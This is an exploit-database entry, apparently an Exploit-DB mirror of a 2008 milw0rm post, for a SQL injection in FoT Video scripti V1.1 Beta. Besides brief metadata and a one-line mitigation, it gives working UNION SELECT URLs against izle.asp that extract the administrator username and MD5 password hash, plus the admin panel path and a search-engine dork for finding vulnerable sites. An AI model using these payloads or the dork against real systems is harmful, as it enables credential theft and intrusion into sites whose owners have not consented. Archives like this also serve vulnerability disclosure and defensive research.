FoT Video scripti V1.1 Beta

vendor:

FoT Video scripti

by:

Crackers_Child

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: FoT Video scripti

Affected Version From: V1.1 Beta

Affected Version To: V1.1 Beta

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

FoT Video scripti V1.1 Beta

An attacker can exploit a SQL injection vulnerability in FoT Video scripti V1.1 Beta to read the username and password (in MD5 hash) from the database.

Mitigation:

Input validation and parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

**************************************************************************************

Author : By Crackers_Child
Contact: cashr00t@hotmail.com
Greetz : biyosecurity.com & milw0rm.com & tryag.cc & All My Friends

**************************************************************************************
Script   : FoT Video scripti V1.1 Beta

**************************************************************************************

Exploit : For username

you can read username on title

www.site.com/script_path/izle.asp?oyun=56+union+select+0,1,KULLANICIADI,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI

**************************************************************************************

Exploit : For Password(md5 hash)

you can read password on title

www.site.com/script_path/izle.asp?oyun=56+union+select+0,1,PAROLA,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI

**************************************************************************************

Administrator Path

www.site.com/script_path/yonetim_default.asp

**************************************************************************************


Dork : inurl:"izle.asp?oyun=

**************************************************************************************

N0te : Hepinizn Aq :lol
**************************************************************************************

# milw0rm.com [2008-09-13]